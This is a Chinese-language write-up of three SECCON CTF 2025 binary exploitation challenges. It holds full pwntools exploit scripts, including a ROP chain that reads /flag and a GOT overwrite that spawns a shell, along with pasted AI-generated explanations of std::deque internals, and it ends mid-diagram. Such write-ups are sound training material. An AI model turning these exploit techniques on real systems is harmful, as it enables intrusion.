secconCTF 2025 PWN Writeup
unserialize
题目源码
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
ssize_t unserialize(FILE *fp, char *buf, size_t size) {
char szbuf[0x20];
char *tmpbuf;
for (size_t i = 0; i < sizeof(szbuf); i++) {
szbuf[i] = fgetc(fp);
if (szbuf[i] == ':') {
szbuf[i] = 0;
break;
}
if (!isdigit(szbuf[i]) || i == sizeof(szbuf) - 1) {
return -1;
}
}
if (atoi(szbuf) > size) {
return -1;
}
tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));
size_t sz = strtoul(szbuf, NULL, 10);
for (size_t i = 0; i < sz; i++) {
if (fscanf(fp, "%02hhx", tmpbuf + i) != 1) {
return -1;
}
}
memcpy(buf, tmpbuf, sz);
return sz;
}
int main() {
char buf[0x100];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
if (unserialize(stdin, buf, sizeof(buf)) < 0) {
puts("[-] Deserialization faield");
} else {
puts("[+] Deserialization success");
}
return 0;
}
题目保护
[*] '/mnt/hgfs/Ubuntu_Shared_Dir/secconCTF2025/unserialize/unserialize/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
漏洞点在
tmpbuf = (char*)alloca(strtoul(szbuf, NULL, 0));
size_t sz = strtoul(szbuf, NULL, 10);
strtoul函数用于将字符串转换成一个 unsigned long int类型的数
其中第三个参数是base,输入0表示表示自动判断进制,如0x开头是十六进制,0开头但是没有x是八进制,非0开头则视为十进制
所以当我们输入0256时,会分配空间为0256 == 174的空间,但是会读入256字节大小的内容,所以造成了越界
所以越界写ROP就好了,不够长就再来个栈迁移嘛……真的是这样吗
让我们在IDA里面看一下内存布局及反编译

这是越界写时的for循环,以及返回前的memcpy其中有用到index, size, stdina, src, target等局部变量,也就是说我们在越界写的过程中,会覆盖这些变量。
接下来再看看这些变量的内存布局

在越界写的过程中,首当其中的就是target变量,这决定了我们越界写的内容会被memcpy到什么位置,再来是index,src,size。
index和src共同决定了我们的下一个字节会被写到什么位置,size决定了我们能溢出写多少字节。
看一下写了0xd0个A时候的内存情况
pwndbg> x/60gx 0x7ffcade16390
0x7ffcade16390: 0x4141414141414141 0x4141414141414141
0x7ffcade163a0: 0x4141414141414141 0x4141414141414141
0x7ffcade163b0: 0x4141414141414141 0x4141414141414141
0x7ffcade163c0: 0x4141414141414141 0x4141414141414141
0x7ffcade163d0: 0x4141414141414141 0x4141414141414141
0x7ffcade163e0: 0x4141414141414141 0x4141414141414141
0x7ffcade163f0: 0x4141414141414141 0x4141414141414141
0x7ffcade16400: 0x4141414141414141 0x4141414141414141
0x7ffcade16410: 0x4141414141414141 0x4141414141414141
0x7ffcade16420: 0x4141414141414141 0x4141414141414141
0x7ffcade16430: 0x4141414141414141 0x4141414141414141
0x7ffcade16440: 0x4141414141414141 0x4141414141414141
0x7ffcade16450: 0x4141414141414141 0x0041414141414141
0x7ffcade16460: 0x00007ffcade164d0(target) 0x00000000004ca440(stdina)
0x7ffcade16470: 0x0000000000000004 0x00000000000000cf(index)
0x7ffcade16480: 0x00007ffcade16390(src) 0x0000000000000100(size)
0x7ffcade16490: 0x00007f0036353230 0x000000000045afcb
0x7ffcade164a0: 0x0000000000000001 0x00007ffcade166f8
0x7ffcade164b0: 0x00007ffcade16708 0x43435d9e4e8fbe00(canary)
0x7ffcade164c0: 0x00007ffcade165e0(saved rbp) 0x0000000000401c1f(saved rip)
0x7ffcade164d0: 0x0000000000000000 0x00000000004c5ee0
0x7ffcade164e0: 0x0000000000000000 0x00000000004193ac
0x7ffcade164f0: 0x0000000000000000 0x000000003d342ff0
0x7ffcade16500: 0x00000000004ca700 0x0000000000021020
0x7ffcade16510: 0x000000003d342fe0 0x00000000004193ac
0x7ffcade16520: 0x0000000000000100 0x0000000000000000
0x7ffcade16530: 0x00007ffcade16560 0x43435d9e4e8fbe00
0x7ffcade16540: 0x000000003d342ff0 0x00000000004ca700
0x7ffcade16550: 0x0000000000000100 0x0000000000000000
0x7ffcade16560: 0x00000000004d10b0 0x43435d9e4e8fbe00
思路1:在本函数内ROP(X)
target,假如要在本函数内ROP,可以随便覆盖为bss上一个合法地址,不是阻碍index考虑直接覆盖
index到返回地址处?注意此时index已经是0xcf,而AAAAAAAA距离返回地址还有足足0x70,显然不行。考虑覆盖
index到size处,然后改size,这样就可以覆盖很多字节了,足足写好一份ROP,但是,这题有canary,这样无法绕过canary考虑将
src改到返回地址处,这是一个好办法,并且可以绕过canary,也可以多写挺多字节,但是再多看几次ASLR下的布局(仅src到saved rip)
------------------------------------------------------------- 0x7ffc2f5961f0: 0x00007ffc2f596100 0x0000000000000100 0x7ffc2f596200: 0x00007f0036353230 0x000000000045afcb 0x7ffc2f596210: 0x0000000000000001 0x00007ffc2f596468 0x7ffc2f596220: 0x00007ffc2f596478 0x7df044b93da75900 0x7ffc2f596230: 0x00007ffc2f596350 0x0000000000401c1f ------------------------------------------------------------- 0x7ffcfbb2cd30: 0x00007ffcfbb2cc40 0x0000000000000100 0x7ffcfbb2cd40: 0x00007f0036353230 0x000000000045afcb 0x7ffcfbb2cd50: 0x0000000000000001 0x00007ffcfbb2cfa8 0x7ffcfbb2cd60: 0x00007ffcfbb2cfb8 0xa1955e6370df8e00 0x7ffcfbb2cd70: 0x00007ffcfbb2ce90 0x0000000000401c1f ------------------------------------------------------------- 0x7ffd57b0d660: 0x00007ffd57b0d570 0x0000000000000100 0x7ffd57b0d670: 0x00007f0036353230 0x000000000045afcb 0x7ffd57b0d680: 0x0000000000000001 0x00007ffd57b0d8d8 0x7ffd57b0d690: 0x00007ffd57b0d8e8 0x32db520c4fa1d400 0x7ffd57b0d6a0: 0x00007ffd57b0d7c0 0x0000000000401c1f最后3个nibble分别得
0x100->0x238,0xc40->0xd78,0x570->0x6a8也就是说我们得写4个nibble(毕竟没法写半个byte),所以得是一个1/pow(2, 12)爆破这并不好
综上所述直接在本函数ROP是不可能得
思路2:在main函数ROP
main函数buf分配了0x100字节,直接歇逼了
思路3:栈迁移
- 覆盖
target为bss地址,覆盖返回地址为leave; ret,但是还有一个问题就是我们怎样把输入输入到返回地址,并且绕过canary。直接修改index到返回地址是不可行的,被size限制了,修改size之后就不可避免的会改到canary。所以办法只有修改src,但是这道题栈地址的最后一个byte也会随机化,所以是1/16爆破(有时候仅最后一个字节不同,可以看上面的case)。
还有一点是这题是静态编译,且没有system,execve,只能打ORW
exp
#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall"
libcname = "./libc.so.6"
host = "unserialize.seccon.games"
port = 5000
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
'''
def base(name, data, offset):
if isinstance(data, bytes):
if name == "canary":
base = u64(data)
else:
base = u64(data + b'\x00' * 2) - offset
elif isinstance(data, int):
base = data - offset
log.success(f"{name} = " + hex(base))
return base
def format_extract(data):
return int(re.search(b'0x[0-9a-fA-F]{12}', data).group(0), base = 16)
def sa(io, a, b):
io.sendafter(a, b)
def sla(io, a, b):
io.sendlineafter(a, b)
def ru(io, a):
io.recvuntil(a)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def make_payload(data, length):
hex_data = data.hex()
length = length.decode("ASCII")
payload = f"{length}:{hex_data}"
return payload.encode() # 转回 bytes 发送
for i in range(0x100000):
#从栈迁移到got下方
try:
io = start()
neg_len = 0x200
rdi_rbp_ret = 0x0000000000402418
rsi_ret = 0x000000000043617e
rdx_oral_r12_rbp_ret = 0x000000000049a324
#x0000000000498cb8 : mov rcx, rbx ; mov edi, 1 ; call rax
rax_ret = 0x00000000004303ab
mprotect = elf.sym['mprotect']
open = elf.sym['open']
read = elf.sym['read']
write = elf.sym['write']
ROP_chain = flat([
p64(rdi_rbp_ret),
p64(0x4cd000 + 0x91 - 6) * 2,
p64(rsi_ret),
p64(0),
p64(open),
p64(rdi_rbp_ret),
p64(0)* 2,
p64(rsi_ret),
p64(0x4cd07f),
p64(rdx_oral_r12_rbp_ret),
p64(0x100) * 2,
p64(0x4d0000),
p64(read),
p64(rsi_ret + 1)
])
#0xd0
leave_ret = 0x401BB9
payload = make_payload((b'A' * 0x3f + ROP_chain.ljust(0x91 - 6, b'\x00') + b'/flag\x00' + p64(0x4cd000) + p64(0x00000000004ca440) + b'A' * 8 + p64(0xe8) + b'\x5f' + p64(0x4cd000 - 8) + p64(leave_ret)), b'0256')
#payload = make_payload((b'A' * 0xd0), b'0256')
#payload = make_payload((b'A' * 0xd0 + p64(0x4cd000) + p64(0x00000000004ca440)), b'0256')
payload2 = flat([
p64(rdi_rbp_ret),
p64(3)* 2,
p64(rsi_ret),
p64(0x4cd07f),
p64(rdx_oral_r12_rbp_ret),
p64(0x60) * 2,
p64(0x4d0000),
p64(read),
p64(rdi_rbp_ret),
p64(2),
p64(0x4e0000),
p64(write),
p64(rsi_ret + 1)
])
io.send((payload + payload2)[:0x100])
io.send((payload + payload2)[0x100:])
flag = io.recv(0x60)
if b"{" in flag:
# flags.append(flag)
print(flag)
io.interactive() #可以卡在这里
except:
io.close() #关闭,然后重开
print(i) #记录一下次数

gachiarray
题目源码
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
typedef union {
struct {
int32_t capacity;
int32_t size;
int32_t initial;
};
struct {
int32_t op;
int32_t index;
int32_t value;
};
} pkt_t;
struct {
uint32_t size;
uint32_t capacity;
int32_t initial;
int32_t *data;
} g_array;
void fatal(const char *msg) {
fprintf(stderr, "[ERROR] %s\n", msg);
exit(1);
}
void read_packet(pkt_t *pkt) {
if (read(0, pkt, sizeof(pkt_t)) != sizeof(pkt_t))
fatal("Truncated input");
}
void array_init(pkt_t *pkt) {
if (pkt->size > pkt->capacity)
pkt->size = pkt->capacity;
g_array.data = (int*)malloc(pkt->capacity * sizeof(int));
if (!g_array.data)
*(uint64_t*)pkt = 0;
g_array.size = pkt->size;
g_array.capacity = pkt->capacity;
g_array.initial = pkt->initial;
for (size_t i = 0; i < pkt->size; i++)
g_array.data[i] = pkt->initial;
printf("Initialized: size=%d capacity=%d\n", pkt->size, pkt->capacity);
}
void main() {
pkt_t pkt;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
read_packet(&pkt);
array_init(&pkt);
while (1) {
read_packet(&pkt);
switch (pkt.op) {
case 1: // get
if (g_array.size <= pkt.index)
fatal("Out-of-bounds");
printf("array[%d] = %d\n", pkt.index, g_array.data[pkt.index]);
break;
case 2: // set
if (g_array.size <= pkt.index)
fatal("Out-of-bounds");
g_array.data[pkt.index] = pkt.value;
printf("array[%d] = %d\n", pkt.index, pkt.value);
break;
case 3: // resize
if (g_array.capacity < pkt.size)
fatal("Over capacity");
for (int i = g_array.size; i < pkt.size; i++)
g_array.data[i] = g_array.initial;
g_array.size = pkt.size;
printf("New size set to %d\n", pkt.size);
break;
default:
exit(0);
}
}
}
程序保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
看似有很多signed compare,看了汇编,实际上绝大多数都是unsigned compare,只有一个是signed compare,就是这个for循环
for (int i = g_array.size; i < pkt.size; i++)
g_array.data[i] = g_array.initial;
而漏洞点是
g_array.data = (int*)malloc(pkt->capacity * sizeof(int));
if (!g_array.data)
*(uint64_t*)pkt = 0;
malloc失败后并没有直接error,只是把*pkt = 0
如果我们输入capacity为-1,那capacity后面就会是一个非常大的整数,malloc也会失败,通过case3
case 3: // resize
if (g_array.capacity < pkt.size)
fatal("Over capacity");
for (int i = g_array.size; i < pkt.size; i++)
g_array.data[i] = g_array.initial;
g_array.size = pkt.size;
printf("New size set to %d\n", pkt.size);
break;
也能成功把size给resize成一个特别大的整数(比如-2)(这个for循环是signed compare很关键,输入size为-2不会进行任何一次赋值,也就不会进行非法内存的写入,不会循环pow(2, 32) - 2次直接爆掉)
又因为这题是NO PIE,所以现在已经可以bss任意读写了。
通过got泄露libc
写malloc为system,exit为main,再往bss地址存个/bin/sh
触发exit再次进入main函数,然后输入的capacity为bss // 4即可get shell
exp
#!/usr/bin/env python3
from pwn import *
from pwncli import *
context(os='linux',arch = 'amd64')
#context.terminal = ['tmux', 'new-window', '-n', 'debug' ]
filename = "chall" + "_patched"
libcname = "/home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "gachiarray.seccon.games"
port = 5000
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *0x4013FE
set debug-file-directory /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
set directories /home/wgg/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39
'''
def base(name, data, offset):
if isinstance(data, bytes):
if name == "canary":
base = u64(data)
else:
base = u64(data + b'\x00' * 2) - offset
elif isinstance(data, int):
base = data - offset
log.success(f"{name} = " + hex(base))
return base
def format_extract(data):
return re.search(b'0x[0-9a-fA-F]{12}', data).group(1)
def sa(io, a, b):
io.sendafter(a, b)
def sla(io, a, b):
io.sendlineafter(a, b)
def ru(io, a):
io.recvuntil(a)
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def recv_number(io):
buf = b""
while True:
# 每次只读 1 个字节
try:
c = io.recv(1, timeout=0.5) # 设置个 timeout 防止卡死
except:
break
if not c:
break
# 如果是数字,或者是开头的负号
if c.isdigit() or (c == b'-' and buf == b""):
buf += c
else:
# 遇到了非数字(比如空格、换行、字母)
# 【关键】把这个字符放回去,给后面的逻辑用
io.unrecv(c)
break
if not buf:
return 0 # 或者抛出异常
return int(buf)
def create_packet(field1, field2, field3):
"""
通用发包函数。
因为是 Union 结构,我们总是发送 3 个 32位整数 (共12字节)
"""
# p32() 将整数转换为 4字节的小端序二进制数据
payload = p32(field1, sign='signed') + \
p32(field2, sign='signed') + \
p32(field3,)
return payload
io = start()
malloc_got = 0x404010
exit_got = 0x404020
rbp_ret = 0x000000000040134d
printf_got = 0x404018
main = 0x4010F0
bss = 0x404200
io.send(create_packet(-2, 0, 0xAAAA))
io.send(create_packet(3, -2, 0))
io.send(create_packet(1, malloc_got // 4, 0))
io.recvuntil("array[1052676] = ")
low = recv_number(io)
io.send(create_packet(1, (malloc_got + 0x4) // 4, 0))
io.recvuntil("array[1052677] = ")
high = recv_number(io)
libc_base = (high << 32) | (low & 0xffffffff) - 0x00000000000ad650
log.success("libc_base: " + hex(libc_base))
one_gadget = libc_base + 0xd4f5f
system = libc_base + libc.sym['system']
io.send(create_packet(2, exit_got // 4, main & 0xffffffff))
io.send(create_packet(2, (exit_got + 0x4) // 4, main >> 32))
sleep(0.1)
io.send(create_packet(2, malloc_got // 4, system & 0xffffffff))
io.send(create_packet(2, (malloc_got + 0x4) // 4, system >> 32))
sleep(0.1)
io.send(create_packet(2, bss // 4, u32(b'/bin')))
io.send(create_packet(2, (bss + 0x4) // 4, u32(b'/sh\x00')))
sleep(0.1)
io.send(create_packet(4, (exit_got + 0x4) // 4, one_gadget & 0xffffffff)[:-1])
sleep(0.1)
io.send(create_packet(bss // 4, bss // 4, bss // 4))
io.interactive()
这题出现了本地通远程不通的情况,原因是没有
sleep(0.1),也算是学到了吧。以后遇到本地通远程不通也可以本地build一下docker打一下试试看,调试看是什么问题。

cursedST
题目源码
#include <iostream>
#include <stack>
std::string name;
std::stack<size_t> S, T;
int main() {
size_t op, val;
std::cout << "What's your name?" << std::endl;
std::cin >> name;
std::cout << "Hello, " << name << "!" << std::endl;
while (std::cin.good()) {
std::cin >> op;
if (op == 1) {
std::cin >> val;
S.push(val);
} else if (op == 2) {
S.pop();
} else if (op == 3) {
std::cin >> val;
T.push(val);
} else if (op == 4) {
T.pop();
} else {
break;
}
}
return 0;
}
程序保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
显然,问题出现在没有检查stack是不是空的就进行pop,所以想要pwn下来这道题首先得了解std::stack。
std::stack是通过std::deque实现的,先给出两个结构体(再给一个std::string的,也会用到),再给出AI生成的我觉得很好理解的回答
// Deque 迭代器结构 (0x20 bytes)
struct _Deque_iterator {
unsigned long *cur; // +0x00: 当前位置指针
unsigned long *first; // +0x08: buffer 起始
unsigned long *last; // +0x10: buffer 结束
unsigned long **node; // +0x18: map 中的 node 指针
};
// Deque 主结构 (0x60 bytes)
struct std_deque {
unsigned long **_M_map; // +0x00: map 数组指针
unsigned long _M_map_size; // +0x08: map 大小
struct _Deque_iterator _M_start; // +0x10: 起始迭代器
struct _Deque_iterator _M_finish; // +0x30: 结束迭代器
};
class string {
// 1. 字符串的实际指针(指向下面 Union 中的 local_buf 或 堆地址)
char* _M_p;
// 2. 长度 (size)
size_t _M_string_length;
// 3. 核心存储区:这是一个联合体,同一时间只能用其中一种
union {
// [模式 A: 长字符串]
// 当字符串很长时,这里存储容量(capacity)
// 数据存储在 _M_p 指向的堆内存中
size_t _M_allocated_capacity;
// [模式 B: 短字符串 (SSO)]
// 当字符串很短(<= 15 char)时,直接存在这个数组里!
// 此时 _M_p 指向这个 local_buf 的首地址
char _M_local_buf[16];
};
};
这是gemini生成的回答,有助于理解。
这是一个非常硬核的视角!你提供的结构体正是逆向工程(如使用 IDA Pro)时常见的 C++ 标准库(特别是 GCC libstdc++)中 `std::deque` 的内存布局。
由于 `std::stack` 默认只是 `std_deque` 的一个包装壳,**`std::stack` 的内存布局 = `std_deque` 的内存布局**。
所有的 `push` 和 `pop` 操作,本质上都是在操纵 `_M_finish` 这个迭代器,以及背后的 `_M_map`(中控器)。
我们用一个具体的场景,结合你提供的结构体字段,来演示内存是如何变化的。
------
### 场景设定
假设:
1. 我们存储的是 `unsigned __int64` (8字节)。
2. 为了演示方便,假设一个**Buffer (数据块)** 只能存 **8个元素** (实际通常是 512字节)。
3. **Map (中控数组)** 已经分配好。
------
### 阶段 1: 初始化 (空栈)
当你声明 `std::stack<size_t> S;` 时,内存里发生的事情:
1. **`_M_map`**: 分配一个小数组(比如存8个指针)。
2. **分配第一个 Buffer**: 假设地址为 `0x1000`。
3. **初始化迭代器**: `_M_start` 和 `_M_finish` 都指向这个 Buffer 的中间(为了支持双端插入,虽然 stack 只用一端)。
**内存快照:**
- **`_M_map`**: 指向 `[NULL, NULL, 0x1000, NULL ...]`
- **`_M_finish` 结构体内容 (当前栈顶指针)**:
- `node`: 指向 `_M_map` 中存 `0x1000` 的那个位置。
- `first`: `0x1000` (当前 Buffer 起始)
- `last`: `0x1040` (当前 Buffer 结束, 0x1000 + 8*8)
- `cur`: `0x1000` (当前指向位置,表示下一个写入点)
------
### 阶段 2: 正常的 `push(10)` (Buffer 未满)
执行 `S.push(10)`。实际上是操作 `_M_finish`。
**操作步骤:**
1. **写入数据**: 将 `10` 写入 `_M_finish.cur` 指向的地址 (`0x1000`)。
2. **移动指针**: `_M_finish.cur` 自增 8字节 (`unsigned __int64`的大小)。
**内存变化:**
- 地址 `0x1000` 的值变更为 `10`。
- `_M_finish.cur` 变为 `0x1008`。
- `_M_finish.node`, `first`, `last` **保持不变** (还在同一个 Buffer 里)。
------
### 阶段 3: 跨越边界的 `push(99)` (触发新 Buffer 分配)
假设我们已经 push 了 8 次,Buffer 满了。
此时 `_M_finish.cur` 等于 `_M_finish.last` (即 `0x1040`)。
现在执行 `S.push(99)`。**这是 deque 最精髓的地方。**
**操作步骤:**
1. **检测**: 发现 `cur == last`,当前 Buffer 已无空间。
2. **分配新 Buffer**: 系统 `malloc` 一块新内存,地址 `0x2000`。
3. **更新 Map**: 将 `0x2000` 填入 `_M_map` 的下一个空槽位。
4. **跳跃 (核心)**: 更新 `_M_finish` 迭代器,让它“跳”到新 Buffer。
**内存变化 (修改 `_M_finish` 结构体):**
- `node`: 指针移向 `_M_map` 的下一格 (指向存 `0x2000` 的地方)。
- `first`: 变为 `0x2000` (新 Buffer 起始)。
- `last`: 变为 `0x2040` (新 Buffer 结束)。
- `cur`: 变为 `0x2000` (指向新 Buffer 第一个位置)。
- **写入**: 将 `99` 写入 `0x2000`。
- **自增**: `cur` 变为 `0x2008`。
> **注意**:这就解释了为什么 `std::stack` 扩容不需要拷贝旧数据。旧的 `0x1000` 那个 Buffer 动都没动,我们只是把“光标”移到了新的纸张上。
------
### 阶段 4: `pop()` (回退)
现在执行 `S.pop()`。我们需要移除刚才 push 的 `99`。
**操作步骤:**
1. **检测**: 检查 `_M_finish.cur` 是否等于 `_M_finish.first`。
- 当前 `cur` 是 `0x2008`,`first` 是 `0x2000`。不相等,说明当前 Buffer 里有东西。
2. **回退**: `_M_finish.cur` 减 8。
- `cur` 变回 `0x2000`。
3. **逻辑删除**: 此时 `cur` 指向 `99` 所在的位置,但在逻辑上它已经是“无效区域”了。下一次 push 会直接覆盖它。
------
### 阶段 5: 跨越边界的 `pop()` (释放 Buffer)
假设我们在新 Buffer 里只存了一个 `99`,现在 `pop` 掉了。再次执行 `S.pop()`(要删除上一个 Buffer 的最后一个元素)。
**操作步骤:**
1. **检测**: `_M_finish.cur` (`0x2000`) 等于 `_M_finish.first` (`0x2000`)。这意味着当前 Buffer 空了(或者说光标已经退到了边缘)。
2. **释放 (可选)**: 标准库可能会释放 `0x2000` 这块内存,或者为了性能先缓存着。假设释放了。
3. **回跳 (核心)**:
- `node`: 回退一格,指向 `0x1000` 的 Map 条目。
- `first`: 变回 `0x1000`。
- `last`: 变回 `0x1040`。
- `cur`: **直接设为 `0x1040` (即 `last`)**。
4. **最终修正**: `cur` 减 8,变为 `0x1038`。
### 总结:结构体字段的意义
对照你给的 `_Deque_iterator` 结构体:
| 字段 | 含义 | 在 Stack 中的作用 |
| ----------- | -------------- | ------------------------------------------------------------ |
| **`cur`** | **当前光标** | `push` 时往这里写值并++;`pop` 时--。它是最高频变化的字段。 |
| **`first`** | **当前块起点** | 用来判断 `pop` 时是否撞到了当前 Buffer 的“地板”。 |
| **`last`** | **当前块终点** | 用来判断 `push` 时是否撞到了当前 Buffer 的“天花板”。 |
| **`node`** | **Map 导航** | 当撞到天花板或地板时,通过这个二级指针去 `_M_map` 找下一个或上一个 Buffer 的地址。 |
这就是 `std::stack` 在内存层面的真实面目:**一个在多个断断续续的内存块之间跳跃的“光标”。**
接下来再给出claude code结合代码的回答,详细解释了pop
让我一步步解释当对空栈执行 pop() 时发生了什么。
1. 初始状态:空的 deque
当 std::deque 初始化后为空时,内存布局如下:
S (0x405320) 的 std_deque 结构:
┌─────────────────────────────────────────────────────────────┐
│ +0x00 _M_map │ 指向堆上分配的 map 数组 (如 0x4172b0) │
│ +0x08 _M_map_size │ map 数组大小 (通常为 8) │
├─────────────────────┼───────────────────────────────────────┤
│ +0x10 start.cur │ ─┐ │
│ +0x18 start.first │ │ start 迭代器 │
│ +0x20 start.last │ │ │
│ +0x28 start.node │ ─┘ │
├─────────────────────┼───────────────────────────────────────┤
│ +0x30 finish.cur │ ─┐ 关键!空栈时 cur == first │
│ +0x38 finish.first │ │ finish 迭代器 │
│ +0x40 finish.last │ │ │
│ +0x48 finish.node │ ─┘ 指向 map 数组中的某个 node │
└─────────────────────┴───────────────────────────────────────┘
堆上的 map 数组 (假设在 0x4172b0):
┌──────────┬──────────┬──────────┬──────────┬─────┐
│ map[0] │ map[1] │ map[2] │ map[3] │ ... │
│ 0x4172b0 │ 0x4172b8 │ 0x4172c0 │ 0x4172c8 │ │
└──────────┴──────────┴──────────┴──────────┴─────┘
↑
└── finish.node 可能指向这里 (map 的起始位置)
空栈的关键特征:finish.cur == finish.first
2. 调用链
用户输入: 2
│
▼
main() 中的 S.pop()
│
▼
stack_pop() [0x401696]
│ // 直接调用,没有任何检查!
▼
deque_pop_back() [0x4018f4]
3. deque_pop_back() 的逻辑 [0x4018f4]
void deque_pop_back(std_deque* this) {
// 0x401915: cmp rdx, rax 比较 finish.cur 和 finish.first
if (this->_M_finish.cur == this->_M_finish.first) {
// 空栈时走这个分支!
// 0x401964: call deque_M_pop_back_aux_VULN
deque_M_pop_back_aux_VULN(this); // 危险!
} else {
// 正常情况:cur 向前移动
this->_M_finish.cur -= 1; // 减 8 字节
}
}
问题:当栈为空时,cur == first,代码认为"当前 buffer 已经用完,需要切换到前一个 buffer",但实际上根本没有前一个 buffer!
4. deque_M_pop_back_aux_VULN() 的危险操作 [0x401e4c]
这是漏洞的核心:
void deque_M_pop_back_aux_VULN(std_deque* this) {
// 步骤1: 释放当前 buffer
// 0x401e6f: call deque_M_deallocate_node
_M_deallocate_node(this->_M_finish.first);
// 步骤2: 计算新的 node 指针 —— 漏洞在这里!
// 0x401e80: mov rdx, [rdx+48h] ; 读取 finish.node
// 0x401e84: sub rdx, 8 ; node 指针减 8
unsigned long** new_node = this->_M_finish.node - 1;
// 步骤3: 用越界的 new_node 设置迭代器
// 0x401e8e: call deque_iterator_M_set_node
_M_set_node(&this->_M_finish, new_node);
// 步骤4: 设置 cur
// 0x401ea3: mov [rax+30h], rdx
this->_M_finish.cur = this->_M_finish.last - 1;
}
关键漏洞:finish.node - 1 会越界!
之前:
finish.node ──────► map[0] (0x4172b0)
之后:
new_node = finish.node - 1
= 0x4172b0 - 8
= 0x4172a8 ◄─── 越界!指向 map 数组之前的内存!
5. _M_set_node() 从越界地址读取 [0x4020ac]
void _M_set_node(_Deque_iterator* this, unsigned long** new_node) {
// 0x4020c9: mov [rax+18h], rdx
this->node = new_node; // 保存越界的 node 指针
// 0x4020d1: mov rdx, [rax] ; 从 new_node 读取!
// 0x4020d8: mov [rax+8], rdx
this->first = *new_node; // 危险!从越界地址读取值作为 buffer 地址
// 0x4020f5: mov [rax+10h], rdx
this->last = this->first + 64; // buffer 大小 64 个元素 (512 字节)
}
这里发生了什么:
*new_node = *(0x4172a8) // 读取越界地址的内容
// 这个值会被当作新的 buffer 地址!
6. 内存越界的具体情况
假设 map 数组分配在堆上,其前面可能是:
- 堆的元数据
- 之前分配的对象
- 或者其他可预测的数据
内存布局示例:
┌─────────────────┐
│ ... 其他数据 ... │ 0x417298
├─────────────────┤
│ 某个 8 字节值 │ 0x4172a0 ◄── new_node 可能指向这里
├─────────────────┤
│ 堆 chunk 头 │ 0x4172a8 ◄── 或者这里
├─────────────────┤
│ map[0] │ 0x4172b0 ◄── 原始 finish.node
│ map[1] │ 0x4172b8
│ ... │
└─────────────────┘
7. 利用:控制 finish.cur
经过上述操作后:
finish.first = *new_node = 从越界地址读取的值
finish.last = finish.first + 512
finish.cur = finish.last - 8
如果攻击者能控制越界地址处的值(比如通过 name 字符串或堆喷射),就能控制 finish.cur!
8. 后续 push() 实现任意写
当执行 push(value) 时:
void deque_push_back(std_deque* this, unsigned long* value) {
// 0x4018bf: mov [rbx], rax
*this->_M_finish.cur = *value; // 写入 finish.cur 指向的地址!
// 0x4018d4: mov [rax+30h], rdx
this->_M_finish.cur += 1;
}
如果 finish.cur 被控制为 GOT 表地址:
finish.cur = 0x405028 (operator delete 的 GOT 条目)
push(system_addr)
↓
*0x405028 = system_addr // GOT 表被覆写!
再来一份push代码详解释
// deque_push_back [0x401832]
// 参数: rdi = deque 指针, rsi = 要 push 的值的指针
void deque_push_back(std_deque* this, size_t* value) {
// ═══════════════════════════════════════════════════════════════
// 步骤 1: 检查当前 buffer 是否还有空间
// ═══════════════════════════════════════════════════════════════
// 0x40184b: mov rdx, [rax+30h] ; rdx = finish.cur
// 0x401853: mov rax, [rax+40h] ; rax = finish.last
// 0x401857: sub rax, 8 ; rax = finish.last - 8
// 0x40185b: cmp rdx, rax ; 比较 finish.cur 和 finish.last - 8
// 0x40185e: jz loc_4018DA ; 如果相等,buffer 满了,跳转到 aux 函数
if (this->_M_finish.cur == this->_M_finish.last - 1) {
// Buffer 已满,需要分配新的 buffer
_M_push_back_aux(this, value);
return;
}
// ═══════════════════════════════════════════════════════════════
// 步骤 2: 正常情况 - 直接写入 finish.cur 指向的位置
// ═══════════════════════════════════════════════════════════════
// 0x401864: mov rax, [rax+30h] ; rax = finish.cur (写入目标地址)
// 0x4018a8: call _ZnwmPv ; placement new (实际上就是返回 finish.cur)
// 0x4018bc: mov rax, [rax] ; rax = *value (要写入的值)
// 0x4018bf: mov [rbx], rax ; *finish.cur = value ← 关键写入操作!
*this->_M_finish.cur = *value; // 将值写入 finish.cur 指向的地址
// ═══════════════════════════════════════════════════════════════
// 步骤 3: 更新 finish.cur 指针
// ═══════════════════════════════════════════════════════════════
// 0x4018c8: mov rax, [rax+30h] ; rax = finish.cur
// 0x4018cc: lea rdx, [rax+8] ; rdx = finish.cur + 8
// 0x4018d4: mov [rax+30h], rdx ; finish.cur = finish.cur + 8
this->_M_finish.cur += 1; // 移动到下一个位置 (+8 bytes)
}
5. Push 操作的图示
执行 S.push(0xCAFEBABE) 前:
═══════════════════════════════════════════════════════════════════
finish.cur = 0x29837308
│
▼
┌────────────┬────────────┬────────────┬────────────┐
│ 0xdeadbeef │ 0x00000000 │ 0x00000000 │ ... │ S.buffer
└────────────┴────────────┴────────────┴────────────┘
0x29837300 0x29837308 0x29837310
▲
│
finish.first
执行 S.push(0xCAFEBABE) 后:
